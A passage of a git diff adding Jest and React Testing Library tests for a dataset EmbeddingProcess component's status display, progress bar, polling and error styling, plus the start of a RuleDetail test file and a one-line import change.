+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('datasetDocuments.embedding.processing')).toBeInTheDocument()
+    })
+
+    it('should show processing status when any document is cleaning', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'cleaning' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('datasetDocuments.embedding.processing')).toBeInTheDocument()
+    })
+
+    it('should show completed status when all documents are completed', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'completed' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('datasetDocuments.embedding.completed')).toBeInTheDocument()
+    })
+
+    it('should show completed status when all documents have error status', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'error', error: 'Processing failed' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('datasetDocuments.embedding.completed')).toBeInTheDocument()
+    })
+
+    it('should show completed status when all documents are paused', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'paused' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('datasetDocuments.embedding.completed')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Progress Bar Tests
+  // ==========================================
+  describe('Progress Display', () => {
+    // Tests for progress bar rendering
+    it('should show progress percentage for embedding documents', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({
+          id: 'doc-1',
+          indexing_status: 'indexing',
+          completed_segments: 50,
+          total_segments: 100,
+        }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('50%')).toBeInTheDocument()
+    })
+
+    it('should cap progress at 100%', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({
+          id: 'doc-1',
+          indexing_status: 'indexing',
+          completed_segments: 150,
+          total_segments: 100,
+        }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('100%')).toBeInTheDocument()
+    })
+
+    it('should show 0% when total_segments is 0', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({
+          id: 'doc-1',
+          indexing_status: 'indexing',
+          completed_segments: 0,
+          total_segments: 0,
+        }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('0%')).toBeInTheDocument()
+    })
+
+    it('should not show progress for completed documents', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({
+          id: 'doc-1',
+          indexing_status: 'completed',
+          completed_segments: 100,
+          total_segments: 100,
+        }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.queryByText('100%')).not.toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Polling Logic Tests
+  // ==========================================
+  describe('Polling Logic', () => {
+    // Tests for API polling behavior
+    it('should start polling on mount', async () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+
+      // Assert - verify fetch was called at least once
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+    })
+
+    it('should continue polling while documents are processing', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+      const initialCallCount = mockFetchIndexingStatus.mock.calls.length
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+
+      // Wait for initial fetch
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus.mock.calls.length).toBeGreaterThan(initialCallCount)
+      })
+
+      const afterInitialCount = mockFetchIndexingStatus.mock.calls.length
+
+      // Advance timer for next poll
+      jest.advanceTimersByTime(2500)
+
+      // Assert - should poll again
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus.mock.calls.length).toBeGreaterThan(afterInitialCount)
+      })
+    })
+
+    it('should stop polling when all documents are completed', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'completed' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+
+      // Wait for initial fetch and state update
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      const callCountAfterComplete = mockFetchIndexingStatus.mock.calls.length
+
+      // Advance timer - polling should have stopped
+      jest.advanceTimersByTime(5000)
+
+      // Assert - call count should not increase significantly after completion
+      // Note: Due to React Strict Mode, there might be double renders
+      expect(mockFetchIndexingStatus.mock.calls.length).toBeLessThanOrEqual(callCountAfterComplete + 1)
+    })
+
+    it('should stop polling when all documents have errors', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'error' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+
+      // Wait for initial fetch
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      const callCountAfterError = mockFetchIndexingStatus.mock.calls.length
+
+      // Advance timer
+      jest.advanceTimersByTime(5000)
+
+      // Assert - should not poll significantly more after error state
+      expect(mockFetchIndexingStatus.mock.calls.length).toBeLessThanOrEqual(callCountAfterError + 1)
+    })
+
+    it('should stop polling when all documents are paused', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'paused' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+
+      // Wait for initial fetch
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      const callCountAfterPaused = mockFetchIndexingStatus.mock.calls.length
+
+      // Advance timer
+      jest.advanceTimersByTime(5000)
+
+      // Assert - should not poll significantly more after paused state
+      expect(mockFetchIndexingStatus.mock.calls.length).toBeLessThanOrEqual(callCountAfterPaused + 1)
+    })
+
+    it('should cleanup timeout on unmount', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      const { unmount } = render(<EmbeddingProcess {...props} />)
+
+      // Wait for initial fetch
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      const callCountBeforeUnmount = mockFetchIndexingStatus.mock.calls.length
+
+      // Unmount before next poll
+      unmount()
+
+      // Advance timer
+      jest.advanceTimersByTime(5000)
+
+      // Assert - should not poll after unmount
+      expect(mockFetchIndexingStatus.mock.calls.length).toBe(callCountBeforeUnmount)
+    })
+  })
+
+  // ==========================================
+  // User Interactions Tests
+  // ==========================================
+  describe('User Interactions', () => {
+    // Tests for button clicks and navigation
+    it('should navigate to document list when nav button is clicked', async () => {
+      // Arrange
+      const props = createDefaultProps({ datasetId: 'my-dataset-123' })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      const navButton = screen.getByText('datasetCreation.stepThree.navTo')
+      fireEvent.click(navButton)
+
+      // Assert
+      expect(mockInvalidDocumentList).toHaveBeenCalled()
+      expect(mockPush).toHaveBeenCalledWith('/datasets/my-dataset-123/documents')
+    })
+
+    it('should call invalidDocumentList before navigation', () => {
+      // Arrange
+      const props = createDefaultProps()
+      const callOrder: string[] = []
+      mockInvalidDocumentList.mockImplementation(() => callOrder.push('invalidate'))
+      mockPush.mockImplementation(() => callOrder.push('push'))
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      const navButton = screen.getByText('datasetCreation.stepThree.navTo')
+      fireEvent.click(navButton)
+
+      // Assert
+      expect(callOrder).toEqual(['invalidate', 'push'])
+    })
+  })
+
+  // ==========================================
+  // Document Display Tests
+  // ==========================================
+  describe('Document Display', () => {
+    // Tests for document list rendering
+    it('should display document names', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1', name: 'my-report.pdf' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('my-report.pdf')).toBeInTheDocument()
+    })
+
+    it('should display multiple documents', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1', name: 'file1.txt' })
+      const doc2 = createMockDocument({ id: 'doc-2', name: 'file2.pdf' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'indexing' }),
+        createMockIndexingStatus({ id: 'doc-2', indexing_status: 'waiting' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1, doc2] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('file1.txt')).toBeInTheDocument()
+      expect(screen.getByText('file2.pdf')).toBeInTheDocument()
+    })
+
+    it('should handle documents with special characters in names', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1', name: 'report_2024 (final) - copy.pdf' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('report_2024 (final) - copy.pdf')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Data Source Type Tests
+  // ==========================================
+  describe('Data Source Types', () => {
+    // Tests for different data source type displays
+    it('should handle local file data source', async () => {
+      // Arrange
+      const doc1 = createMockDocument({
+        id: 'doc-1',
+        name: 'local-file.pdf',
+        data_source_type: DatasourceType.localFile,
+      })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('local-file.pdf')).toBeInTheDocument()
+    })
+
+    it('should handle online document data source', async () => {
+      // Arrange
+      const doc1 = createMockDocument({
+        id: 'doc-1',
+        name: 'Notion Page',
+        data_source_type: DatasourceType.onlineDocument,
+        data_source_info: { notion_page_icon: { type: 'emoji', emoji: '📄' } },
+      })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('Notion Page')).toBeInTheDocument()
+    })
+
+    it('should handle website crawl data source', async () => {
+      // Arrange
+      const doc1 = createMockDocument({
+        id: 'doc-1',
+        name: 'https://example.com/page',
+        data_source_type: DatasourceType.websiteCrawl,
+      })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('https://example.com/page')).toBeInTheDocument()
+    })
+
+    it('should handle online drive data source', async () => {
+      // Arrange
+      const doc1 = createMockDocument({
+        id: 'doc-1',
+        name: 'Google Drive Document',
+        data_source_type: DatasourceType.onlineDrive,
+      })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('Google Drive Document')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Error Handling Tests
+  // ==========================================
+  describe('Error Handling', () => {
+    // Tests for error states and displays
+    it('should display error icon for documents with error status', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({
+          id: 'doc-1',
+          indexing_status: 'error',
+          error: 'Failed to process document',
+        }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      const { container } = render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert - error icon should be visible
+      const errorIcon = container.querySelector('.text-text-destructive')
+      expect(errorIcon).toBeInTheDocument()
+    })
+
+    it('should apply error styling to document row with error', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({
+          id: 'doc-1',
+          indexing_status: 'error',
+          error: 'Processing failed',
+        }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      const { container } = render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert - should have error background class
+      const errorRow = container.querySelector('.bg-state-destructive-hover-alt')
+      expect(errorRow).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Edge Cases
+  // ==========================================
+  describe('Edge Cases', () => {
+    // Tests for boundary conditions
+    it('should throw error when documents array is empty', () => {
+      // Arrange
+      // The component accesses documents[0].id for useProcessRule (line 81-82),
+      // which throws TypeError when documents array is empty.
+      // This test documents this known limitation.
+      const props = createDefaultProps({ documents: [] })
+
+      // Suppress console errors for expected error
+      const consoleError = jest.spyOn(console, 'error').mockImplementation(Function.prototype as () => void)
+
+      // Act & Assert - explicitly assert the error behavior
+      expect(() => {
+        render(<EmbeddingProcess {...props} />)
+      }).toThrow(TypeError)
+
+      consoleError.mockRestore()
+    })
+
+    it('should handle empty indexing status response', async () => {
+      // Arrange
+      mockIndexingStatusData = []
+      const props = createDefaultProps()
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert - should not show any status text when empty
+      expect(screen.queryByText('datasetDocuments.embedding.waiting')).not.toBeInTheDocument()
+      expect(screen.queryByText('datasetDocuments.embedding.processing')).not.toBeInTheDocument()
+      expect(screen.queryByText('datasetDocuments.embedding.completed')).not.toBeInTheDocument()
+    })
+
+    it('should handle document with undefined name', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1', name: undefined as unknown as string })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act & Assert - should not throw
+      expect(() => render(<EmbeddingProcess {...props} />)).not.toThrow()
+    })
+
+    it('should handle document not found in indexing status', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'other-doc', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act & Assert - should not throw
+      expect(() => render(<EmbeddingProcess {...props} />)).not.toThrow()
+    })
+
+    it('should handle undefined indexing_status', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({
+          id: 'doc-1',
+          indexing_status: undefined as unknown as DocumentIndexingStatus,
+        }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act & Assert - should not throw
+      expect(() => render(<EmbeddingProcess {...props} />)).not.toThrow()
+    })
+
+    it('should handle mixed status documents', async () => {
+      // Arrange
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      const doc2 = createMockDocument({ id: 'doc-2' })
+      const doc3 = createMockDocument({ id: 'doc-3' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'completed' }),
+        createMockIndexingStatus({ id: 'doc-2', indexing_status: 'indexing' }),
+        createMockIndexingStatus({ id: 'doc-3', indexing_status: 'error' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1, doc2, doc3] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert - should show processing (since one is still indexing)
+      expect(screen.getByText('datasetDocuments.embedding.processing')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Props Variations Tests
+  // ==========================================
+  describe('Props Variations', () => {
+    // Tests for different prop combinations
+    it('should handle undefined indexingType', () => {
+      // Arrange
+      const props = createDefaultProps({ indexingType: undefined })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+
+      // Assert - component renders without crashing
+      expect(screen.getByTestId('rule-detail')).toBeInTheDocument()
+    })
+
+    it('should handle undefined retrievalMethod', () => {
+      // Arrange
+      const props = createDefaultProps({ retrievalMethod: undefined })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+
+      // Assert - component renders without crashing
+      expect(screen.getByTestId('rule-detail')).toBeInTheDocument()
+    })
+
+    it('should pass different indexingType values', () => {
+      // Arrange
+      const indexingTypes = [IndexingType.QUALIFIED, IndexingType.ECONOMICAL]
+
+      indexingTypes.forEach((indexingType) => {
+        const props = createDefaultProps({ indexingType })
+
+        // Act
+        const { unmount } = render(<EmbeddingProcess {...props} />)
+
+        // Assert - RuleDetail renders and shows appropriate text based on indexingType
+        expect(screen.getByTestId('rule-detail')).toBeInTheDocument()
+
+        unmount()
+      })
+    })
+
+    it('should pass different retrievalMethod values', () => {
+      // Arrange
+      const retrievalMethods = [RETRIEVE_METHOD.semantic, RETRIEVE_METHOD.fullText, RETRIEVE_METHOD.hybrid]
+
+      retrievalMethods.forEach((retrievalMethod) => {
+        const props = createDefaultProps({ retrievalMethod })
+
+        // Act
+        const { unmount } = render(<EmbeddingProcess {...props} />)
+
+        // Assert - RuleDetail renders and shows appropriate text based on retrievalMethod
+        expect(screen.getByTestId('rule-detail')).toBeInTheDocument()
+
+        unmount()
+      })
+    })
+  })
+
+  // ==========================================
+  // Memoization Tests
+  // ==========================================
+  describe('Memoization Logic', () => {
+    // Tests for useMemo computed values
+    it('should correctly compute isEmbeddingWaiting', async () => {
+      // Arrange - all waiting
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      const doc2 = createMockDocument({ id: 'doc-2' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'waiting' }),
+        createMockIndexingStatus({ id: 'doc-2', indexing_status: 'waiting' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1, doc2] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('datasetDocuments.embedding.waiting')).toBeInTheDocument()
+    })
+
+    it('should correctly compute isEmbedding when one is indexing', async () => {
+      // Arrange - one waiting, one indexing
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      const doc2 = createMockDocument({ id: 'doc-2' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'waiting' }),
+        createMockIndexingStatus({ id: 'doc-2', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1, doc2] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('datasetDocuments.embedding.processing')).toBeInTheDocument()
+    })
+
+    it('should correctly compute isEmbeddingCompleted for mixed terminal states', async () => {
+      // Arrange - completed + error + paused = all terminal
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      const doc2 = createMockDocument({ id: 'doc-2' })
+      const doc3 = createMockDocument({ id: 'doc-3' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'completed' }),
+        createMockIndexingStatus({ id: 'doc-2', indexing_status: 'error' }),
+        createMockIndexingStatus({ id: 'doc-3', indexing_status: 'paused' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1, doc2, doc3] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('datasetDocuments.embedding.completed')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // File Type Detection Tests
+  // ==========================================
+  describe('File Type Detection', () => {
+    // Tests for getFileType helper function
+    it('should extract file extension correctly', async () => {
+      // Arrange
+      const doc1 = createMockDocument({
+        id: 'doc-1',
+        name: 'document.pdf',
+        data_source_type: DatasourceType.localFile,
+      })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert - file should be displayed (file type detection happens internally)
+      expect(screen.getByText('document.pdf')).toBeInTheDocument()
+    })
+
+    it('should handle files with multiple dots', async () => {
+      // Arrange
+      const doc1 = createMockDocument({
+        id: 'doc-1',
+        name: 'my.report.2024.pdf',
+        data_source_type: DatasourceType.localFile,
+      })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('my.report.2024.pdf')).toBeInTheDocument()
+    })
+
+    it('should handle files without extension', async () => {
+      // Arrange
+      const doc1 = createMockDocument({
+        id: 'doc-1',
+        name: 'README',
+        data_source_type: DatasourceType.localFile,
+      })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert
+      expect(screen.getByText('README')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Priority Label Tests
+  // ==========================================
+  describe('Priority Label', () => {
+    // Tests for priority label display
+    it('should show priority label when billing is enabled', async () => {
+      // Arrange
+      mockEnableBilling = true
+      mockPlanType = Plan.sandbox
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      const { container } = render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert - PriorityLabel component should be rendered
+      // Since we don't mock PriorityLabel, we check the structure exists
+      expect(container.querySelector('.ml-0')).toBeInTheDocument()
+    })
+
+    it('should not show priority label when billing is disabled', async () => {
+      // Arrange
+      mockEnableBilling = false
+      const doc1 = createMockDocument({ id: 'doc-1' })
+      mockIndexingStatusData = [
+        createMockIndexingStatus({ id: 'doc-1', indexing_status: 'indexing' }),
+      ]
+      const props = createDefaultProps({ documents: [doc1] })
+
+      // Act
+      render(<EmbeddingProcess {...props} />)
+      await waitFor(() => {
+        expect(mockFetchIndexingStatus).toHaveBeenCalled()
+      })
+
+      // Assert - upgrade banner should not be present
+      expect(screen.queryByText('billing.plansCommon.documentProcessingPriorityUpgrade')).not.toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/processing/embedding-process/index.tsx b/web/app/components/datasets/documents/create-from-pipeline/processing/embedding-process/index.tsx
index 9572933a0a..e2057ed897 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/processing/embedding-process/index.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/processing/embedding-process/index.tsx
@@ -9,7 +9,7 @@ import {
   RiLoader2Fill,
   RiTerminalBoxLine,
 } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 import type { IndexingStatusResponse } from '@/models/datasets'
 import NotionIcon from '@/app/components/base/notion-icon'
diff --git a/web/app/components/datasets/documents/create-from-pipeline/processing/embedding-process/rule-detail.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/processing/embedding-process/rule-detail.spec.tsx
new file mode 100644
index 0000000000..0f7d3855e6
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/processing/embedding-process/rule-detail.spec.tsx
@@ -0,0 +1,475 @@
+import { render, screen } from '@testing-library/react'
+import React from 'react'
+import RuleDetail from './rule-detail'
+import { ProcessMode, type ProcessRuleResponse } from '@/models/datasets'
+import { RETRIEVE_METHOD } from '@/types/app'
+import { IndexingType } from '@/app/components/datasets/create/step-two'
+
+// ==========================================
+// Mock External Dependencies
+// ==========================================
+
+// Mock next/image (using img element for simplicity in tests)
+jest.mock('next/image', () => ({
+  __esModule: true,
+  default: function MockImage({ src, alt, className }: { src: string; alt: string; className?: string }) {
+    // eslint-disable-next-line @next/next/no-img-element
+    return <img src={src} alt={alt} className={className} data-testid="next-image" />
+  },
+}))
+
+// Mock FieldInfo component
+jest.mock('@/app/components/datasets/documents/detail/metadata', () => ({
+  FieldInfo: ({ label, displayedValue, valueIcon }: { label: string; displayedValue: string; valueIcon?: React.ReactNode }) => (
+    <div data-testid="field-info" data-label={label}>
+      <span data-testid="field-label">{label}</span>
+      <span data-testid="field-value">{displayedValue}</span>
+      {valueIcon && <span data-testid="field-icon">{valueIcon}</span>}
+    </div>
+  ),
+}))
+
+// Mock icons - provides simple string paths for testing instead of Next.js static import objects
+jest.mock('@/app/components/datasets/create/icons', () => ({
+  indexMethodIcon: {
+    economical: '/icons/economical.svg',
+    high_quality: '/icons/high_quality.svg',
+  },
+  retrievalIcon: {
+    fullText: '/icons/fullText.svg',
+    hybrid: '/icons/hybrid.svg',
+    vector: '/icons/vector.svg',
+  },
+}))
+
+// ==========================================
+// Test Data Factory Functions
+// ==========================================
+
+/**
+ * Creates a mock ProcessRuleResponse for testing
+ */
+const createMockProcessRule = (overrides: Partial<ProcessRuleResponse> = {}): ProcessRuleResponse => ({
+  mode: ProcessMode.general,
+  rules: {
+    pre_processing_rules: [],
+    segmentation: {
+      separator: '\n',
+      max_tokens: 500,
+      chunk_overlap: 50,
+    },
+    parent_mode: 'paragraph',
+    subchunk_segmentation: {
+      separator: '\n',
+      max_tokens: 200,
+      chunk_overlap: 20,
+    },
+  },
+  limits: {
+    indexing_max_segmentation_tokens_length: 1000,
+  },
+  ...overrides,
+})
+
+// ==========================================
+// Test Suite
+// ==========================================
+
+describe('RuleDetail', () => {
